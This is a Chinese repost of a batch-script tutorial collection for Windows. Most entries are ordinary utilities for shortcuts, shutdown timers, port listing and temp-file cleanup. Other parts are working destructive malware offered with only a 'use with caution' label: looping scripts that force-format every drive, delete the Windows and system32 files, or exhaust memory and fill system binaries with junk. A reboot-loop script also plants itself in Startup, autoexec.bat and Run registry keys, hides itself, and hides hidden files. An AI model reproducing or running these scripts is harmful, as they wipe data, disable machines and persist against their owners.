批处理案例收藏

来源:互联网 发布:bt软件 编辑:程序博客网 时间:2024/06/08 20:14

http://www.jb51.net/article/26181.htm


批处理实例代码教程 
-------------------------------------------------------------------------------- 
批处理程序删除自身.bat 
echo 有时候我们需要批处理程序在执行完成之后删除自身,可以用 del %0 
例: 

复制代码代码如下:

@echo off 
echo 按任意键后我将删除自身 
pause 
del %0 

-------------------------------------------------------------------------------- 
批处理发送文件夹的快捷方式到桌面 
复制代码代码如下:

echo [InternetShortcut] > "%userprofile%\桌面\文件夹.url" 
echo URL=file:///C:/windows >> "%userprofile%\桌面\文件夹.url" 

-------------------------------------------------------------------------------- 
批处理获取IP生成TXT文本.bat 
以下代码是批处理获取IP同时生成TXT文本: 
复制代码代码如下:

@echo off 
<"%~f0" more +5 >tmp.vbs 
cscript //NoLogo /e:vbscript tmp.vbs %1>ip.txt 
echo >nul && del tmp.vbs 
goto:eof 
set oDOM = WScript.GetObject("http://www.duosc.com/ip.aspx") 
do until oDOM.readyState = "complete" 
WScript.sleep 200 
Loop 
s=oDOM.documentElement.innerText 
set re = New RegExp 
re.Pattern="(\d+)\.(\d+)\.(\d+)\.(\d+)" 
For Each m in re.Execute(s) 
WScript.Echo m 
Next 

-------------------------------------------------------------------------------- 
利用批处理禁用(启用)组策略 
regsvr32 /s /u gpedit.dll 禁用 
regsvr32 /s gpedit.dll 启用 
单单使用这命令依然可以禁止使用组策略,但这样导致的后果就是- 
这时候运行的组策略基本上只是个空壳了!利用下面的批处理将完美解决此类问题! 
将下面这些代码编成BAT批处理文件,这段是禁用组策略的命令 
复制代码代码如下:

@echo off 
regsvr32 /s /u fde.dll 
regsvr32 /s /u gpedit.dll 
regsvr32 /s /u gptext.dll 
regsvr32 /s /u wsecedit.dll 
exit 

这是启用组策略 
复制代码代码如下:

@echo off 
regsvr32 /s fde.dll 
regsvr32 /s gpedit.dll 
regsvr32 /s gptext.dll 
regsvr32 /s wsecedit.dll 
exit 

-------------------------------------------------------------------------------- 
批处理定时关机.bat 
复制代码代码如下:

@echo off 
mode con lines=25 
title 定时关机 
color 1f 
cls 
echo. 
echo. 
echo. 
echo. 
echo 时间使用24小时制(如2:15、12:00),可以输入多个时间点 
echo. 
echo 多个时间点用空格分隔 
echo. 
echo. 
echo ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
echo. 
set times= 
set /p times= 请输入关机时间: 
:: 以下语句实现每个星期的每一天指定时间关机 
:: 如果要换成每个月的某几天,请改字母为数字,并用逗号分隔 
:: 以下代码没有错误检测语句,输入时间的时候务必按照指定格式输入 
:: 可以用在CMD窗口用at命令来查看计划任务 
if not "%times%"=="" for %%i in (%times%) do ( 
at %%i /every:M,T,W,Th,F,S,Su shutdown -s 


-------------------------------------------------------------------------------- 
批处理创建url格式的快捷方式.bat 
复制代码代码如下:

@echo off 
echo [InternetShortcut] >cmd.url 
echo URL=%windir%\system32\cmd.exe >>cmd.url 
echo IconIndex=0 >>cmd.url 
echo IconFile=%windir%\system32\cmd.exe>>cmd.url 

-------------------------------------------------------------------------------- 
批处理进入全屏幕界面.bat 
复制代码代码如下:

@echo off 
:: 设定: 运行在全屏模式下 
echo exit|%ComSpec% /k prompt e 100 B4 00 B0 12 CD 10 B0 03 CD 10 CD 20 $_g$_q$_|debug>nul 
chcp 437>nul 
graftabl 936>nul 
:rem 下面放置任何命令…… 
dir 
pause 

-------------------------------------------------------------------------------- 
最小化运行批处理.bat 
复制代码代码如下:

::最小化运行批处理 
@echo off&&mode con cols=15 lines=1 
%1 %2 
start /min /i "" "%~nx0" goto min&&goto :eof 
:min 
echo xxx 
pause>nul 
exit 
@echo off 
mode con cols=15 lines=1 
if exist "Temp.bat" goto Start 
>Temp.bat echo start/min "" "%~nx0"^&exit 
start/min Temp.bat&exit 
:Start 
del "Temp.bat">nul 
pause 

-------------------------------------------------------------------------------- 
全盘查找QQ.exe并执行.bat 
复制代码代码如下:

@echo off 
:: 全盘查找qq.exe,找到之后就执行并退出CMD窗口 
:: fsutil fsinfo drives 得出来的结果虽然中间有空格,但是他代表是回车符或者换行符的作用,所以还要用find /v来过滤,否则,只得到第一个分区 
setlocal enabledelayedexpansion 
for /f "delims=\" %%i in ('fsutil fsinfo drives^|find /v ""') do ( 
set var=%%i 
set drive=!var:~-2! 
fsutil fsinfo drivetype !drive!|find "固定">nul && ( 
for /f "tokens=*" %%j in ('dir /a-d /b /s !drive!\qq.exe 2^>nul') do if not "%%j"=="" start "" "%%j" && exit 



-------------------------------------------------------------------------------- 
删除历史记录.bat 
复制代码代码如下:

@echo off 
:: 删除"运行"、"查找"等处的历史记录 
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v ClearRecentDocsonExit /t REG_DWORD /d 00000001 

-------------------------------------------------------------------------------- 
批处理查看进程端口 
批处理实现的获取当前进程所开启的端口代码: 
复制代码代码如下:

@echo off 
color a 
Title XP端口-进程查询 
setlocal enabledelayedexpansion 
echo ╔- -╗ 
echo 本机开放的端口及使用该端口的进程 
echo ╚- -╝ 
echo ------------------------------------ 
echo 端口号 进程名称 
ECHO TCP协议: 
::利用netstat命令找出使用TCP协议通信的端口,并将结果分割; 
::将第二个参数(IP加端口)传给%%i,第五个参数(PID号)传给%%j; 
for /F "usebackq skip=4 tokens=2,5" %%i in (`"netstat -ano -p TCP"`) do ( 
call :Assoc %%i TCP %%j 
echo !TCP_Port! !TCP_Proc_Name! 

ECHO UDP协议: 
for /F "usebackq skip=4 tokens=2,4" %%i in (`"netstat -ano -p UDP"`) do ( 
call :Assoc %%i UDP %%j 
echo !UDP_Port! !UDP_Proc_Name! 

echo 按任意键退出 
pause>nul 
:Assoc 
::对%1(第一个参数)进行分割,将第二个参数传给%%e。在本程序中,%1即为上面的%%i(形式为:IP:端口号) 
for /F "tokens=2 delims=:" %%e in ("%1") do ( 
set %2_Port=%%e 

:: 查询PID等于%3(第三个参数)的进程,并将结果传给变量?_Proc_Name,?代表UDP或者TCP; 
for /F "skip=2 usebackq delims=, tokens=1" %%a in (`"Tasklist /FI "PID eq %3" /FO CSV"`) do ( 
::%%~a表示去掉%%a外面的引号,因为上述命令的结果是用括号括起来的。 
set %2_Proc_Name=%%~a 


-------------------------------------------------------------------------------- 
破坏型BAT批处理脚本[慎用] 
一、死循环强制格式化A:到Z:盘(对于部分速度比较快的机器会比较快当机……) 
复制代码代码如下:

:format 
@format a: /q /y >nul 
@format b: /q /y >nul 
@format d: /q /y >nul 
@format e: /q /y >nul 
@format f: /q /y >nul 
@format g: /q /y >nul 
@format h: /q /y >nul 
@format i: /q /y >nul 
@format j: /q /y >nul 
@format k: /q /y >nul 
@format l: /q /y >nul 
@format m: /q /y >nul 
@format n: /q /y >nul 
@format o: /q /y >nul 
@format p: /q /y >nul 
@format q: /q /y >nul 
@format r: /q /y >nul 
@format s: /q /y >nul 
@format t: /q /y >nul 
@format u: /q /y >nul 
@format v: /q /y >nul 
@format w: /q /y >nul 
@format x: /q /y >nul 
@format y: /q /y >nul 
@format z: /q /y >nul 
@format c: /q /y >nul 
goto format 

二、死循环强制删除C:盘WINDOWS目录下的所有文件(跟上面的一个例子效果差不多,不过这里用到了强制删除参数) 
复制代码代码如下:

:breake 
@if exist %windir%\system32\*.* del %windir%\system32\*.* >nul 
@if exist %windir%\*.* del %windir%\*.* >nul 
goto breake 

三、利用部分系统工具的内存占用卡到死机 
复制代码代码如下:

:die 
@start regsvr32.exe /s %windir%\system32\*.* >nul 
@start %windir%\system32\*.* >nul 
@start notepad %windir%\explorer.exe >nul 
goto die 

四、用部分工具的检测信息导出功能生成巨大的垃圾文件(虽然生成垃圾的速度很慢,但是跟“垃圾王”病毒有的一比,也算是“无声的*****”吧……) 
复制代码代码如下:

@start ping 127.0.0.1 -t > %windir%\system32\regsvr32.dll >nul 
:ping 
@start ping 127.0.0.1 -t >> %windir%\system32\regsvr32.dll >nul 
@start ping 127.0.0.1 -t >> %windir%\system32\regedit.exe >nul 
goto ping 

-------------------------------------------------------------------------------- 
反复重启的恶意批处理 
反复重启就是让别人启动了再重启 一直反复,以下代码 
复制代码代码如下:

@echo off 
shutdown -r -t 3 
copy %0 C:\Documents" "and" "Settings\All" "Users\「开始」菜单\程序\启动\a.bat 
copy %0 c:\autoexec.bat 
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d c:\autoexec.bat /f 
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d c:\autoexec.bat /f 
attrib autoexec.bat +r +s +h 
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f 
del %0 

3秒重启 加入了启动项 开机就会3秒倒计时 
-------------------------------------------------------------------------------- 
删除右键“新建”菜单项目.bat 
复制代码代码如下:

@echo off 
:: 只要删除"HKEY_CLASSERS_ROORT\.后缀名"项目下的"ShellNew"键就可以了 
:: 如果实在删除不了,则把"HKEY_CLASSERS_ROORT\.后缀名"删除掉即可 
mode con lines=25 
title "新建"菜单内容删除器 
color 1f 
:input 
cls 
call :display 
echo 如果要强行删除,请选 1 
echo. 
echo. 
set input= 
set /p input= 请输入后缀名: 
if "%input%"=="" goto input 
if "%input%"=="0" exit 
if "%input%"=="1" goto fouce 
for /f %%i in ("%input%") do (reg delete HKCR\.%%i\ShellNew /f) 
goto continue 
:fouce 
cls 
call :display 
set input= 
set /p input= 请输入后缀名(强行删除): 
if "%input%"=="" goto fouce 
if "%input%"=="0" exit 
for /f %%i in ("%input%") do (reg delete HKCR\.%%i /f) 
:continue 
cls 
call :display 
echo. 
set choice= 
set /p choice= 还要继续清除吗?(y/n): 
if "%choice%"=="" goto continue 
if "%choice%"=="y" goto input 
if "%choice%"=="" goto :eof 
:display 
echo. 
echo. 
echo. 
echo. 
echo. 
echo. 
echo 本程序能删除右键菜单中"新建"项目下的多余内容,为"新建"菜单减肥! 
echo. 
echo 如果想让某种类型的文件不再出现在鼠标右键的"新建"菜单中,请直接 
echo. 
echo 输入该文件类型的后缀名。例如:rar。 
echo. 
echo 退出请选 0 
echo. 

-------------------------------------------------------------------------------- 
快速清理垃圾文件(修正) 
复制代码代码如下:

@echo off 
color f0 
echo. 
echo 正在安全地自动清除垃圾文件…… 
del /f /q %systemdrive%\*.tmp>nul 2>nul 
del /f /q %systemdrive%\*._mp>nul 2>nul 
del /f /q %systemdrive%\*.log>nul 2>nul 
del /f /q %systemdrive%\*.gid>nul 2>nul 
del /f /q %systemdrive%\*.chk>nul 2>nul 
del /f /q %systemdrive%\*.old>nul 2>nul 
del /f /q %windir%\*.bak>nul 2>nul 
del /f /q %windir%\*.tmp>nul 2>nul 
del /f /q %windir%\prefetch\*.*>nul 2>nul 
del /f /s /q %systemdrive%\recycled\*.* 
del /f /q "%ALLUSERSPROFILE%\Documents\DrWatson\*.*">nul 2>nul 
del /f /q "%USERPROFILE%\Cookies\*.txt">nul 2>nul 
del /f /q /s "%TEMP%\*.*">nul 2>nul 
del /f /q /s "%Systemroot%\Prefetch\*.*">nul 2>nul 
del /f /q "%USERPROFILE%\Recent\*.*">nul 2>nul 
del /f /q "%USERPROFILE%\Application Data\Microsoft\Office\Recent\*.lnk">nul 2>nul 
del /f /q /s "%USERPROFILE%\Local Settings\Temp\*.*">nul 2>nul 
rd /s /q %windir%\temp & md %windir%\temp>nul 2>nul 
if not exist %SystemRoot%\Minidump\NUL del /f /q /s %SystemRoot%\Minidump\*.*>nul 2>nul 
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*">nul 2>nul 

原创粉丝点击